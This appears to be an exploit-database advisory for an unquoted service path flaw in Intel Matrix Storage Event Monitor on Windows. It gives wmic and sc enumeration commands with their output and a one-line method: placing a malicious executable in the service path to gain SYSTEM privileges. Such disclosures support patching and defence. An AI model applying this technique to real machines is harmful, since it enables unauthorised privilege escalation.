Intel(r) matrix storage event monitor x86 8.0.0.1039 iaantmon unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-01-05 | Type : local | Platform : windows
This exploit / vulnerability Intel(r) matrix storage event monitor x86 8.0.0.1039 iaantmon unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Intel(R) Matrix Storage Event Monitor x86 8.0.0.1039 - 'IAANTMON' Unquoted Service Path
# Date: 2021-01-04
# Exploit Author: Geovanni Ruiz
# Vendor Homepage: https://www.intel.com
# Software Version: 8.0.0.1039
# File Version: 8.0.0.1039
# Tested on: Microsoft® Windows Vista Business 6.0.6001 Service Pack 1 x64es

# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%IAANTMON%"' get name, displayname,
pathname, startmode, startname

DisplayName Name PathName
StartMode StartName
Intel(R) Matrix Storage Event Monitor IAANTMON C:\Program Files
(x86)\Intel\Intel Matrix Storage Manager\IAANTMon.exe Auto
LocalSystem

# 2. To check service info:

C:\>sc qc "IAANTMON"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: IAANTMON
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Intel\Intel Matrix
Storage Manager\IAANTMon.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Intel(R) Matrix Storage Event Monitor
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

# 3. Exploit:

To exploit this vulnerability an attacker requires to drop a malicious
executable into the service path undetected by the OS in order
to gain SYSTEM privileges.